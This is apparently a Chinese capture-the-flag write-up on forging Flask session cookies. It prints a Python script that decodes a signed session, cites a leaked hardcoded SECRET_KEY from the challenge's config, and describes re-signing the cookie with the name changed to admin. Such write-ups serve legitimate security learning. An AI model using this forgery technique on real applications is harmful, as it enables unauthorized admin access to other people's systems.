知識點:flask session 偽造
flask中session是存儲在客戶端cookie中的,也就是存儲在本地。flask僅僅對數據進行了簽名。眾所周知的是,簽名的作用是防篡改,而無法防止被讀取。而fla沒有提供加密操作,所以其session的全部內容都是可以在客戶端讀取的,這就可能造成一些安全問題
這道題源碼泄露,是用flask寫的(看了一下一些師傅的wp,說是看到flask直接去看一下路由)判斷一下具有的功能
通過腳本將session解密:
#!/usr/bin/env python3 import sys import zlib from base64 import b64decode from flask.sessions import session_json_serializer from itsdangerous import base64_decode def decryption(payload): payload, sig = payload.rsplit(b'.', 1) payload, timestamp = payload.rsplit(b'.', 1) decompress = False if payload.startswith(b'.'): payload = payload[1:] decompress = True try: payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception') if decompress: try: payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload') return session_json_serializer.loads(payload) if __name__ == '__main__': print(decryption(sys.argv[1].encode()))
要想生成admin的session還需要SECRET_KEY
在config.py里發現了SECRET_KEY
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
將剛才解密出來的session里的name更換成admin,再加密。
學習鏈接: